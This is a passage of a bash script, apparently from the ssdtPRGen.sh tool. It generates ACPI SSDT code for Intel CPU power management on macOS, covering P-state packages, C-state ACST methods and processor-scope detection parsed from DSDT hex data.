'$gIvyWorkAround'", Debug)' >> "$gSsdtPR" fi # # XCPM mode initialised? # if [[ $gXcpm -ne -1 ]]; then echo ' Store ("machdep.xcpm.mode....: '$gXcpm'", Debug)' >> "$gSsdtPR" fi # # Do we have more than one ACPI processor scope? # if [[ "${#gScope[@]}" -gt 1 ]]; then echo ' Store ("number of ACPI scopes: '${#gScope[@]}'", Debug)' >> "$gSsdtPR" fi echo ' }' >> "$gSsdtPR" echo '' >> "$gSsdtPR" } # #-------------------------------------------------------------------------------- # function _printScopeStart() { # # Local variable definitions. # local turboStates local packageLength local maxTurboFrequency local lowFrequencyPStates local useWorkArounds local maxTDP local extraR local extraF # # Local variable initialisation. # let scopeIndex=$1 let turboStates=$2 let packageLength=$3 let maxTurboFrequency=$4 let useWorkArounds=0 let index=($gLogicalCPUsPerScope*$scopeIndex) # # Have we injected External () objects? # if [[ $scopeIndex -eq 0 && $gInjectExternalObjects -ne 1 ]]; then # # No. Inject ACPI Processor (...) {} declarations. # _printProcessorDefinitions fi echo '' >> "$gSsdtPR" echo ' Scope ('${gScope[${scopeIndex}]}'.'${gProcessorNames[$index]}')' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" if (( $scopeIndex == 0 && $gDebug & 1 )) then _injectDebugInfo $turboStates $maxTurboFrequency $packageLength fi # # Do we need to create additional (Low Frequency) P-States? # if [ $gBridgeType -ne $SANDY_BRIDGE ]; then let lowFrequencyPStates=0 # # Do we need to add additional (Low Frequency) P-States for Ivy Bridge? # if (( $gBridgeType == $IVY_BRIDGE && $gIvyWorkAround & 2 )); then let lowFrequencyPStates=($gBaseFrequency/100)-8 if [[ $lowFrequencyPStates -lt 0 ]]; then let lowFrequencyPStates=$(echo ${lowFrequencyPStates#-}) printf "lowFrequencyPStates: $lowFrequencyPStates\n" fi fi let packageLength=($packageLength+$lowFrequencyPStates) if [[ $lowFrequencyPStates -gt 0 ]]; then if [[ $lowFrequencyPStates -gt 1 ]]; then printf " Name (APLF, 0x%02x)\n" $lowFrequencyPStates >> "$gSsdtPR" else printf " Name (APLF, One)\n" >> "$gSsdtPR" fi else # Prevent optimization warning. echo " Name (APLF, Zero)" >> "$gSsdtPR" fi if (( $gBridgeType == $IVY_BRIDGE && $gIvyWorkAround & 1 )); then let useWorkArounds=1 fi fi # # Check number of Turbo states (for IASL optimization). # if [ $turboStates -eq 0 ]; then # TODO: Remove this when CPUPM for IB works properly! if (( $useWorkArounds )); then echo ' Name (APSN, One)' >> "$gSsdtPR" else echo ' Name (APSN, Zero)' >> "$gSsdtPR" fi else # TODO: Remove this when CPUPM for IB works properly! if (( $useWorkArounds )); then let turboStates+=1 fi printf " Name (APSN, 0x%02X)\n" $turboStates >> "$gSsdtPR" fi # TODO: Remove this when CPUPM for IB works properly! if (( $useWorkArounds )); then let packageLength+=1 fi printf " Name (APSS, Package (0x%02X)\n" $packageLength >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" # TODO: Remove this when CPUPM for IB works properly! if (( $useWorkArounds )); then let extraF=($maxTurboFrequency+1) # # Is the global TDP a floating-point number? # if [[ $gTdp =~ "." ]]; then # # Yes, convert it and calculate maximum TDP. # let tdp=$(echo "$gTdp" | sed -e 's/\.//g') let maxTDP=($tdp*100) else # # No. Calculate maximum TDP. # let maxTDP=($gTdp*1000) fi let extraR=($maxTurboFrequency/$gBusFrequency)+1 echo " /* Workaround for the Ivy Bridge PM 'bug' */" >> "$gSsdtPR" if [ $gBusFrequency -eq 100 ]; then printf " Package (0x06) { 0x%04X, 0x%06X, 0x0A, 0x0A, 0x%02X00, 0x%02X00 },\n" $extraF $maxTDP $extraR $extraR >> "$gSsdtPR" else printf " Package (0x06) { 0x%04X, 0x%06X, 0x0A, 0x0A, 0x00%02X, 0x00%02X },\n" $extraF $maxTDP $extraR $extraR >> "$gSsdtPR" fi fi } # #-------------------------------------------------------------------------------- # function _printPackages() { # # Local variable definitions/initialisation. # local maxNonTurboFrequency=$1 local turboStates=$2 local frequency=$3 # # Local variable definitions. # local tdp local maxTDP local minRatio local p1Ratio local ratio local powerRatio local multipliedBusFrequency # # Is the global TDP a floating-point number? # if [[ $gTdp =~ "." ]]; then # # Yes, convert it and calculate maximum TDP. # let tdp=$(echo "$gTdp" | sed -e 's/\.//g') let maxTDP=($tdp*100) else # # No. Calculate maximum TDP. # let tdp=$gTdp let maxTDP=(tdp*1000) fi # # Local variable initialisation. # let minRatio=($gBaseFrequency/$gBusFrequency) let p0Ratio=($maxNonTurboFrequency/$gBusFrequency) let ratio=($frequency/$gBusFrequency) let powerRatio=($p0Ratio-1) let multipliedBusFrequency=($gBusFrequency*10) case "$gBusFrequency" in 133) let multipliedBusFrequency+=3 ;; 166) let multipliedBusFrequency+=6 ;; esac # # Do we need to add additional (Low Frequency) P-States for Ivy Bridge? # if (( $gBridgeType == $IVY_BRIDGE && $gIvyWorkAround & 2 )); then let minRatio=8 fi if (( $turboStates )); then echo ' /* High Frequency Modes (turbo) */' >> "$gSsdtPR" fi while [ $ratio -ge $minRatio ]; do if [ $frequency -eq $gBaseFrequency ]; then echo ' /* Low Frequency Mode */' >> "$gSsdtPR" fi if [ $frequency -eq $maxNonTurboFrequency ]; then echo ' /* High Frequency Modes (non-turbo) */' >> "$gSsdtPR" fi printf " Package (0x06) { 0x%04X, " $frequency >> "$gSsdtPR" if [ $frequency -lt $maxNonTurboFrequency ]; then if [ $gBusFrequency -eq 100 ]; then power=$(echo "scale=6;m=((1.1-(($p0Ratio-$powerRatio)*0.00625))/1.1);(($powerRatio/$p0Ratio)*(m*m)*$maxTDP);" | bc | sed -e 's/.[0-9A-F]*$//') let powerRatio-=1 else let ratioFactor=($ratio*30)/$p0Ratio; power=$(echo "scale=6;(($ratioFactor*$ratioFactor*$ratioFactor*$maxTDP)/27000);" | bc | sed -e 's/.[0-9A-F]*$//') let powerRatio-=1 fi else power=$maxTDP fi if [ $frequency -ge $gBaseFrequency ]; then printf "0x%06X, " $power >> "$gSsdtPR" else printf ' Zero, ' >> "$gSsdtPR" fi if [ $gBusFrequency -eq 100 ]; then printf "0x0A, 0x0A, 0x%02X00, 0x%02X00 }" $ratio $ratio >> "$gSsdtPR" else printf "0x0A, 0x0A, 0x00%02X, 0x00%02X }" $ratio $ratio >> "$gSsdtPR" fi let ratio-=1 let frequency=$(printf "%.f\n" $(echo "scale=1;((($multipliedBusFrequency/10)*$ratio)+0.5)" | bc)) if [ $ratio -ge $minRatio ]; then echo ',' >> "$gSsdtPR" else echo '' >> "$gSsdtPR" fi done echo ' })' >> "$gSsdtPR" } # #-------------------------------------------------------------------------------- # function _printMethodDSM() { if [[ $gBridgeType -ge $IVY_BRIDGE || $gXcpm -eq 1 ]]; then # # New stand-alone version of Method _DSM - Copyright (c) 2009 by Master Chief # echo '' >> "$gSsdtPR" echo ' Method (_DSM, 4, NotSerialized)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" if [[ $gDebug -eq 1 ]]; then local debugScopeName=$(echo $scope | sed -e 's/^\\//') echo ' Store ("Method '$debugScopeName'.'${gProcessorNames[0]}'._DSM Called", Debug)' >> "$gSsdtPR" echo '' >> "$gSsdtPR" fi echo ' If (LEqual (Arg2, Zero))' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Return (Buffer (One)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' 0x03' >> "$gSsdtPR" echo ' })' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" echo '' >> "$gSsdtPR" # # This property is required to get X86Platform[Plugin/Shim].kext loaded. # echo ' Return (Package (0x02)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' "plugin-type",' >> "$gSsdtPR" echo ' One' >> "$gSsdtPR" echo ' })' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" fi } # #-------------------------------------------------------------------------------- # function _debugPrint() { if (( $gDebug & 2 )); then printf "$@" fi } # #-------------------------------------------------------------------------------- # function _printScopeACST() { # # Local variable definition. # local C1 C2 C3 C6 C7 local hintCode local pkgLength local targetCPU local numberOfCStates local targetCStates # # Intel values for Sandy / Ivy Bridge processors # # C-state : Power : SB Latency : IB Latency #---------:---------:------------:------------ # C1 : 0x3e8 : 0x01 : 0x03 # C3 : 0x1f4 : 0x50 : 0xcd # C6 : 0x15e : 0x68 : 0xf5 # C7 : 0xc8 : 0x6d : 0xf5 # # Note: C-state latency in uS and C-state power in mW. # local latency_C1=Zero local latency_C2=0x43 local latency_C3=0xCD local latency_C6=0xF5 local latency_C7=0xF5 # # Local variable initialisation. # let C1=0 let C2=0 let C3=0 let C6=0 let C7=0 let pkgLength=2 let numberOfCStates=0 # # Are we injecting C-States for CPU1? # if [ $1 -eq 1 ]; then let targetCPU=1 else let targetCPU=0 fi echo '' >> "$gSsdtPR" echo ' Method (ACST, 0, NotSerialized)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" if (( $gDebug )); then local debugScopeName=$(echo $scope | sed -e 's/^\\//') echo ' Store ("Method '$debugScopeName'.'${gProcessorNames[$targetCPU]}'.ACST Called", Debug)' >> "$gSsdtPR" fi # # Are we injecting C-States for CPU1? # if [ $targetCPU -eq 1 ]; then # Yes (also used by CPU2, CPU3 and greater). let targetCStates=$gACST_CPU1 latency_C1=0x03E8 latency_C2=0x94 latency_C3=0xC6 else # # C-States override for Mobile processors (CPU0 only) # if (($gTypeCPU == $gMobileCPU)); then echo 'Adjusting C-States for detected (mobile) processor' let gACST_CPU0=29 fi let targetCStates=$gACST_CPU0 latency_C1=Zero latency_C2=0x43 latency_C3=0xCD latency_C6=0xF5 latency_C7=0xF5 fi if (( $gDebug )); then echo ' Store ("'${gProcessorNames[$targetCPU]}' C-States : '$targetCStates'", Debug)' >> "$gSsdtPR" echo '' >> "$gSsdtPR" fi _debugPrint "targetCStates: $targetCStates\n" # # Checks to determine which C-State(s) we should inject. # if (($targetCStates & 1)); then _debugPrint "Adding C1\n" let C1=1 let numberOfCStates+=1 let pkgLength+=1 fi if (($targetCStates & 2)); then _debugPrint "Adding C2\n" let C2=1 let numberOfCStates+=1 let pkgLength+=1 fi if (($targetCStates & 4)); then _debugPrint "Adding C3\n" let C3=1 let numberOfCStates+=1 let pkgLength+=1 fi if (($targetCStates & 8)); then _debugPrint "Adding C6\n" let C6=1 let numberOfCStates+=1 let pkgLength+=1 fi if ((($targetCStates & 16) == 16)); then _debugPrint "Adding C7\n" let C7=1 let numberOfCStates+=1 let pkgLength+=1 fi let hintCode=0x00 echo " /* Low Power Modes for ${gProcessorNames[$1]} */" >> "$gSsdtPR" printf " Return (Package (0x%02x)\n" $pkgLength >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' One,' >> "$gSsdtPR" printf " 0x%02x,\n" $numberOfCStates >> "$gSsdtPR" echo ' Package (0x04)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' ResourceTemplate ()' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Register (FFixedHW,' >> "$gSsdtPR" echo ' 0x01, // Bit Width' >> "$gSsdtPR" echo ' 0x02, // Bit Offset' >> "$gSsdtPR" printf " 0x%016x, // Address\n" $hintCode >> "$gSsdtPR" echo ' 0x01, // Access Size' >> "$gSsdtPR" echo ' )' >> "$gSsdtPR" echo ' },' >> "$gSsdtPR" echo ' One,' >> "$gSsdtPR" echo ' '$latency_C1',' >> "$gSsdtPR" echo ' 0x03E8' >> "$gSsdtPR" if (($C2)); then let hintCode+=0x10 echo ' },' >> "$gSsdtPR" echo '' >> "$gSsdtPR" echo ' Package (0x04)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' ResourceTemplate ()' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Register (FFixedHW,' >> "$gSsdtPR" echo ' 0x01, // Bit Width' >> "$gSsdtPR" echo ' 0x02, // Bit Offset' >> "$gSsdtPR" printf " 0x%016x, // Address\n" $hintCode >> "$gSsdtPR" echo ' 0x03, // Access Size' >> "$gSsdtPR" echo ' )' >> "$gSsdtPR" echo ' },' >> "$gSsdtPR" echo ' 0x02,' >> "$gSsdtPR" echo ' '$latency_C2',' >> "$gSsdtPR" echo ' 0x01F4' >> "$gSsdtPR" fi if (($C3)); then let hintCode+=0x10 local power_C3=0x01F4 # # Is this for CPU1? # if (($1)); then if [[ ${gModelID:0:7} == "iMac13," ]]; then local power_C3=0x15E latency_C3=0xA9 else local power_C3=0xC8 let hintCode+=0x10 fi fi echo ' },' >> "$gSsdtPR" echo '' >> "$gSsdtPR" echo ' Package (0x04)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' ResourceTemplate ()' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Register (FFixedHW,' >> "$gSsdtPR" echo ' 0x01, // Bit Width' >> "$gSsdtPR" echo ' 0x02, // Bit Offset' >> "$gSsdtPR" printf " 0x%016x, // Address\n" $hintCode >> "$gSsdtPR" echo ' 0x03, // Access Size' >> "$gSsdtPR" echo ' )' >> "$gSsdtPR" echo ' },' >> "$gSsdtPR" echo ' 0x03,' >> "$gSsdtPR" echo ' '$latency_C3',' >> "$gSsdtPR" echo ' '$power_C3 >> "$gSsdtPR" fi if (($C6)); then let hintCode+=0x10 echo ' },' >> "$gSsdtPR" echo '' >> "$gSsdtPR" echo ' Package (0x04)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' ResourceTemplate ()' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Register (FFixedHW,' >> "$gSsdtPR" echo ' 0x01, // Bit Width' >> "$gSsdtPR" echo ' 0x02, // Bit Offset' >> "$gSsdtPR" printf " 0x%016x, // Address\n" $hintCode >> "$gSsdtPR" echo ' 0x03, // Access Size' >> "$gSsdtPR" echo ' )' >> "$gSsdtPR" echo ' },' >> "$gSsdtPR" echo ' 0x06,' >> "$gSsdtPR" echo ' '$latency_C6',' >> "$gSsdtPR" echo ' 0x015E' >> "$gSsdtPR" fi if (($C7)); then # # If $hintCode is already 0x30 then use 0x31 otherwise 0x30 # if [ $hintCode -eq 48 ]; then let hintCode+=0x01 else let hintCode+=0x10 fi echo ' },' >> "$gSsdtPR" echo '' >> "$gSsdtPR" echo ' Package (0x04)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' ResourceTemplate ()' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Register (FFixedHW,' >> "$gSsdtPR" echo ' 0x01, // Bit Width' >> "$gSsdtPR" echo ' 0x02, // Bit Offset' >> "$gSsdtPR" printf " 0x%016x, // Address\n" $hintCode >> "$gSsdtPR" echo ' 0x03, // Access Size' >> "$gSsdtPR" echo ' )' >> "$gSsdtPR" echo ' },' >> "$gSsdtPR" echo ' 0x07,' >> "$gSsdtPR" echo ' '$latency_C7',' >> "$gSsdtPR" echo ' 0xC8' >> "$gSsdtPR" fi echo ' }' >> "$gSsdtPR" echo ' })' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" # # Do we need to add a closing bracket? # # Note: The injected _DSM method will otherwise take care of it. # if [[ $gBridgeType -le $SANDY_BRIDGE && $gXcpm -ne 1 ]]; then echo ' }' >> "$gSsdtPR" fi } # #-------------------------------------------------------------------------------- # function _printScopeCPUn() { # # Local variable definition. # local index local scopeIndex local bspIndex local apIndex # # Local variable initialisation. # let index=1 let scopeIndex=$1 let bspIndex=$gLogicalCPUsPerScope*$scopeIndex let apIndex=$bspIndex+1 local scope=${gScope[$scopeIndex]} while [ $index -lt $gLogicalCPUsPerScope ]; do echo '' >> "$gSsdtPR" echo ' Scope ('${scope}'.'${gProcessorNames[${apIndex}]}')' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Method (APSS, 0, NotSerialized)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" if (( $gDebug )); then local debugScopeName=$(echo $scope | sed -e 's/^\\//') echo ' Store ("Method '$debugScopeName'.'${gProcessorNames[${apIndex}]}'.APSS Called", Debug)' >> "$gSsdtPR" echo '' >> "$gSsdtPR" fi echo ' Return ('${scope}'.'${gProcessorNames[${bspIndex}]}'.APSS)' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" # # IB CPUPM tries to parse/execute CPUn.ACST (see debug data) and thus we add # this method, conditionally, since SB CPUPM doesn't seem to care about it. # if [ $gBridgeType -ge $IVY_BRIDGE ]; then if [ $index -eq 1 ]; then _printScopeACST 1 else echo '' >> "$gSsdtPR" local processorName=${gProcessorNames[$bspIndex+1]} echo ' Method (ACST, 0, NotSerialized) { Return ('$scope'.'$processorName'.ACST ()) }' >> "$gSsdtPR" fi fi echo ' }' >> "$gSsdtPR" let index+=1 let apIndex+=1 done # # Next processor scope. # let scopeIndex+=1 if [[ $scopeIndex -eq ${#gScope[@]} ]]; then echo '}' >> "$gSsdtPR" fi # # Done. # } # #-------------------------------------------------------------------------------- # function _getModelID() { # # Grab 'compatible' property from ioreg (stripped with sed / RegEX magic). # gModelID=$(ioreg -p IODeviceTree -d 2 -k compatible | grep compatible | sed -e 's/ *["=<>]//g' -e 's/compatible//') } # #-------------------------------------------------------------------------------- # function _getBoardID() { # # Grab 'board-id' property from ioreg (stripped with sed / RegEX magic). # gBoardID=$(ioreg -p IODeviceTree -d 2 -k board-id | grep board-id | sed -e 's/ *["=<>]//g' -e 's/board-id//') } # #-------------------------------------------------------------------------------- # function _getProcessorNames() { # # Local variable definition/initialisation. # local threadCount local processorLabels local processorModelSpecified=$1 if [[ $gCustomMode -eq 0 ]]; then # # Note: -k clock-frequency filters out the inactive cores. # local acpiNames=$(ioreg -p IODeviceTree -c IOACPIPlatformDevice -k cpu-type -k clock-frequency | egrep name | sed -e 's/ *[-|="<a-z>]//g') processorLabels=($acpiNames) fi # # Target processor model specified with -p argument? # if [[ $gTargetProcessorType -eq 0 ]]; then # # No. Get processor model from the host computer. # _getCPUNumberFromBrandString $gTargetProcessorType # # Get CPU data of the host computer. # _getCPUDataByProcessorNumber # # Set thread count to that of the host computer. # let threadCount=${#processorLabels[@]} else # # Yes. Get CPU data based on the specified processor model. # _getCPUDataByProcessorNumber # # Target processor model located? # if [[ $gTypeCPU -gt 0 ]]; then # # Set thread count to that of the target processor. # let threadCount=${gProcessorData[6]} # let gLogicalCPUs=$threadCount*$gPhysicalCPUs fi fi # # Check if -l argument is used. # if [[ $gLogicalCPUs -eq 0 ]]; then let gLogicalCPUs=$threadCount*$gPhysicalCPUs else let threadCount=$gLogicalCPUs/$gPhysicalCPUs fi # # Check if -cpus argument is used. # #if [[ $gPhysicalCPUs -gt 1 ]]; # then let gLogicalCPUsPerScope=$threadCount # else # let gLogicalCPUsPerScope=$threadCount/${#gScope[@]} # fi _initProcessorScope # # Custom ACPI Processor labels defined? # if [[ ${#gProcessorNames[@]} -eq 0 ]]; then # # No. Is argument -mode custom used? # if [[ $gCustomMode -eq 0 ]]; then # # No. Is argument -acpi used? # if [[ ${#gProcLabel} -eq 0 ]]; then # # No. Use the ACPI Processor declarations from the host computer. # gProcessorNames=($acpiNames) gProcLabel=${gProcessorNames[0]} else # # # printf "YES-1\n" fi else # # Yes. Argument -mode custom is used. printf "YES-2\n" # _initProcessorScope fi fi _debugPrint "Number of Scopes: ${#gScope[@]}\n" if [[ $gPhysicalCPUs -lt ${#gScope[@]} ]]; then let gPhysicalCPUs+=1 fi # # Do we have two or more logical processor cores? # if [[ ${#gProcessorNames[@]} -lt 2 ]]; then # # No. Bail out with error. # _exitWithError $PROCESSOR_NAMES_ERROR fi } # #-------------------------------------------------------------------------------- # function _getPackageLength() { # # Local variable definition/initialisation. # local data=$1 local pkgLengthByte=0 local start=0 local packageLength=0 # # Called with a AML Scope object? # if [[ ${data:0:2} == $AML_SCOPE_OPCODE ]]; then # Yes. let start=$AML_SINGLE_BYTE_ENCODING else # No. Must be a Processor declaration. let start=$AML_DUAL_BYTE_ENCODING fi # # The package length is encoded as a series of 1 to 4 bytes with the most significant # two bits of byte zero indicating how many following bytes are in the encoding. # The next two bits are only used in one-byte encodings, which allows for one-byte # encodings on a length up to 0x3F. Longer encodings, which do not use these two bits, # have a maximum length of the following: # # 0x0FFF for two-byte encodings. # 0x0FFFFF for three-byte encodings. # 0x0FFFFFFFFF for four-byte encodings. # # # Get package length from given data. # let pkgLengthByte="0x"${1:${start}:2} # # Mask the first byte – the one after the opcode byte(s) – with 0x3f. # let maskedByte=$((0x${data:${start}:2} & 0x3f)) if [[ $pkgLengthByte -gt 192 ]]; then _debugPrint 'Four-byte encoding detected (maximum length 0x0FFFFFFFFF/68719476735)\n' printf -v packageLength '0x%2%2s%2s%x' "${data:${start}+6:2}" "${data:${start}+4:2}" "${data:${start}+2:2}" $maskedByte elif [[ $pkgLengthByte -gt 128 ]]; then _debugPrint 'Three-byte encoding detected (maximum length 0x0FFFFF/1048575)\n' printf -v packageLength '0x%2s%2s%x' "${data:${start}+4:2}" "${data:${start}+2:2}" $maskedByte elif [[ $pkgLengthByte -gt 64 ]]; then _debugPrint 'Two-byte encoding detected (maximum length 0x0FFF/4095)\n' printf -v packageLength '0x%2s%x' "${data:${start}+2:2}" $maskedByte else _debugPrint 'One-byte encoding detected (maximum length 0x3F/77)\n' packageLength=$maskedByte fi _debugPrint "pkgLengthByte: 0x%x/${pkgLengthByte}\n" $pkgLengthByte _debugPrint "packageLength: ${packageLength}/%d\n" $packageLength let gFunctionReturn=$packageLength } # #-------------------------------------------------------------------------------- # function _checkForProcessorDeclarations() { # # Local variable definitions/initialisation. # local status=0 local targetData=$1 local deviceName=$2 local isACPI10Compliant=$3 local processorID local processorLabel local processorIsEnabled local processorDeclarationLenth local overrideProcessorEnableState local variableList=(6,8,10,12,14,20 8,10,12,14,16,22) let overrideProcessorEnableState=0 let enabledProcessorsPerScope=0 for varList in "${variableList[@]}" do # # Save default (0) delimiter. # local ifs=$IFS # # Change delimiter to a comma character. # IFS="," # # Split vars. # local vars=(${varList}) # # Restore the default (0) delimiter. # IFS=$ifs # # # local deviceObjectData=($(echo "${targetData}" | egrep -o "${AML_PROCESSOR_SCOPE_OPCODE}[0-9a-f]{${vars[5]}}06")) # # The above grep pattern may fail, in which case we fall back to a previously used grep pattern. # See also: https://github.com/Piker-Alpha/ssdtPRGen.sh/issues/215 # if [[ ${#deviceObjectData[@]} -eq 1 ]]; then local deviceObjectData=($(echo "${targetData}" | egrep -o "${AML_PROCESSOR_SCOPE_OPCODE}[0-9a-f]{${vars[5]}}")) fi if [[ $deviceObjectData ]]; then # # # if [[ $deviceName ]]; then # _debugPrint "Device ($gScope/$deviceName): \n" _debugPrint "Device ($deviceName): \n" fi for processorDeclaration in "${deviceObjectData[@]}" do # # Get ProcessorID. # processorID="${processorDeclaration:${vars[4]}:2}" # # Check APIC data to see if this (logical) processor is enabled. # _isEnabledProcessor "${processorID}" # # Assign local variable with the return value. # processorIsEnabled=$? # # Processor enabled (first check)? # if [[ $processorIsEnabled -eq 0 && $enabledProcessorsPerScope -lt $gLogicalCPUsPerScope ]]; then # # Override the enabled state. # overrideProcessorEnableState=1 _debugPrint "Overriding processor enable state (now enabled)!\n" else overrideProcessorEnableState=0 fi #printf "overrideProcessorEnableState: $overrideProcessorEnableState\n" # # Is the (logical) processor enabled? # if [[ $processorIsEnabled -eq 1 || $overrideProcessorEnableState -eq 1 ]]; then # # Yes it is (may be overriden). # processorLabel=$(echo -e "\x${processorDeclaration:${vars[0]}:2}\x${processorDeclaration:${vars[1]}:2}\x${processorDeclaration:${vars[2]}:2}\x${processorDeclaration:${vars[3]}:2}") _debugPrint "processorID: ${processorID} $processorLabel\n" gProcessorNames[$gProcessorStartIndex]=$processorLabel # # # let gProcessorStartIndex+=1 # # Keep track of the number of enabled (logical) processors. # #printf "enabledProcessorsPerScope: ${enabledProcessorsPerScope}\n" let enabledProcessorsPerScope+=1 #printf "enabledProcessorsPerScope: ${enabledProcessorsPerScope}\n" fi # # Did we collact all the required (logical) processors? # if [[ $enabledProcessorsPerScope -eq $gLogicalCPUsPerScope ]]; then # # Yes. We're done here. # #printf "break\n" break; fi done printf "\n" fi done return $gProcessorStartIndex } # #-------------------------------------------------------------------------------- # function _getACPIProcessorScope() { # # Local variable definitions/initialisation. # local filename="/tmp/DSDT.dat" local variableList=(10,6,40 12,8,42 24,20,40) local varList local scopeLength local index local scopeIndex # # Local variable initialisation. # let index=0 let scopeIndex=0 # # Convert (example) 'C000' to '43303030' # local processorNameBytes=$(echo -n ${gProcessorNames[0]} | xxd -ps) # # Loop through all Name (_HID, ACPI0004) objects. # for varList in "${variableList[@]}" do # # Save default (0) delimiter. # local ifs=$IFS # # Change delimiter to a comma character. # IFS="," # # Split vars. # local vars=(${varList}) # # Up index of variableList. # let index+=1 # # Restore the default (0) delimiter. # IFS=$ifs # # Check for (a) Device(s) with a _HID object value of 'ACPI0004' in the DSDT. # local matchingData=$(egrep -o "${AML_DEVICE_OPCODE}[0-9a-f]{${vars[0]}}085f4849440d414350493030303400" "$filename") # # Example: # 5b824d9553434b30085f4849440d414350493030303400 (N times) # 0123456789 123456789 123456789 123456789 12345 # if [[ $matchingData ]]; then local hidObjectList=($matchingData) local let objectCount=${#hidObjectList[@]} if [ $objectCount -gt 0 ]; then _debugPrint "${objectCount} Name (_HID, \"ACPI0004\") object(s) found in the DSDT\n" _debugPrint "${objectCount} Name (_HID, \"ACPI0004\") object(s) found in the DSDT\n" _debugPrint "matchingData:\n$matchingData\n" fi # # Loop through all Name (_HID, ACPI0004) objects. # for hidObjectData in "${hidObjectList[@]}" do # # Get the name of the device. # local deviceName=$(echo ${hidObjectData:${vars[1]}:8} | xxd -r -p) _debugPrint "Searching for ACPI Processor declarations in Device($deviceName) {}\n" # # Get the length of the device scope. # _getPackageLength $hidObjectData let scopeLength=$gFunctionReturn _debugPrint "scopeLength: $scopeLength\n" # # Convert number of bytes to number of characters. # let scopeLength*=2 # echo $scopeLength # # Lower scopeLength with the number of bytes that we used for this match. # let scopeLength-=${vars[2]} # echo $scopeLength # # Initialise string. # local repetitionString="" # # Prevent "egrep: invalid repetition count(s)" # if [[ $scopeLength -gt 255 ]]; then while [ $scopeLength -gt 255 ]; do local repetitionString+="[0-9a-f]{255}" let scopeLength-=255 done fi repetitionString+="[0-9a-f]{${scopeLength}}" # echo $repetitionString # # Extract the whole Device () {} scope. # local deviceObjectData=$(egrep -o "${hidObjectData}${repetitionString}" "$filename" | tr -d '\n') # # We should now have something like this (example): # # Device (SCK0) # { # Name (_HID, "ACPI0004") # Processor (C000, 0x00, 0x00000410, 0x06) # { # Name (_HID, "ACPI0007") # } # # 5b823053434b30085f4849440d4143504930303034005b831a43303030001004000006085f4849440d414350493030303700 # 0123456789 123456789 123456789 123456789 123456789 123456789 123456789 123456789 123456789 123456789 # # Check for ACPI Processor () {} declarations. # _checkForProcessorDeclarations $deviceObjectData $deviceName 0 # # Check return status. # # if [[ $? -eq ${#gProcessorNames[@]} ]]; if [[ $? -eq $gLogicalCPUs ]]; then # # Update the global processor scope. # gScope[$scopeIndex]="\_SB_.${deviceName}" # # Next scope. # let scopeIndex+=1 # # Done. # return else # # # if [ $? -lt ${#gProcessorNames[@]} ]; then # # Update the global processor scope. # gScope[$scopeIndex]="\_SB_.${deviceName}" # # Next scope. # let scopeIndex+=1 _debugPrint "gScope : ${#gScope[@]}\n" _debugPrint "gProcessorStartIndex: $gProcessorStartIndex\n" _debugPrint "gLogicalCPUs : $gLogicalCPUs\n" _debugPrint "gProcessorNames : ${#gProcessorNames[@]}\n" let nextTargetCores=${#gProcessorNames[@]}-$gProcessorStartIndex _debugPrint "Searching for ${nextTargetCores} additional Processor declaration ...\n" fi fi done fi done } # #-------------------------------------------------------------------------------- # function _getProcessorScope() { # # Local variable definitions/initialisation. # local index=0 local filename="/tmp/DSDT.dat" local scopeLength=0 # # Target Scopes ('\_PR_', '\_PR', '_PR_', '_PR', '\_SB_', '\_SB', '_SB_', '_SB') # local grepPatternList=('5c5f50525f' '5c5f5052' '5f50525f' '5f5052' '5c5f53425f' '5c5f5342' '5f53425f' '5f5342') # # Loop through the target pattern list. # for grepPattern in "${grepPatternList[@]}" do # # Up scope index counter. # let index+=1; # # Setup array with supported type of byte encodings. # local byteEncodingList=($AML_SINGLE_BYTE_ENCODING $AML_DUAL_BYTE_ENCODING $AML_TRIPLE_BYTE_ENCODING $AML_QUAD_BYTE_ENCODING) for typeEncoding in "${byteEncodingList[@]}" do # # "10[0-9a-f]{2}${grepPattern}" # "10[0-9a-f]{4}${grepPattern}" # "10[0-9a-f]{6}${grepPattern}" # "10[0-9a-f]{8}${grepPattern}" # local data=$(egrep -o "${AML_SCOPE_OPCODE}[0-9a-f]{${typeEncoding}}${grepPattern}" "$filename") if [[ $data ]]; then local scopeObjectList=($data) # # Get number of target objects to check. # let objectCount=${#scopeObjectList[@]} # # Get Scope name from current pattern. # local scopeName=$(echo -n $grepPattern | xxd -ps -r) if [[ $objectCount -gt 0 ]]; then if [ $typeEncoding -eq $AML_SINGLE_BYTE_ENCODING ]; then local scopeDots="."; else local scopeDots=".."; fi _debugPrint $objectCount' Scope ('$scopeName') {'$scopeDots'} object(s) found in the DSDT\n' if [[ $index -lt 5 && $scopeName =~ "PR" ]]; then let gScopePRFound=1 fi fi # # Loop through all Scope (...) objects. # for scopeObjectData in "${scopeObjectList[@]}" do _debugPrint "scopeObjectData: $scopeObjectData\n" # # Get the length of the Scope. # _getPackageLength $scopeObjectData let scopeLength=$gFunctionReturn _debugPrint "scopeLength: $scopeLength\n" # echo $scopeLength # # Convert number of bytes to number of characters. # let scopeLength*=2 # echo $scopeLength # # Get number of characters in grep pattern. # # let 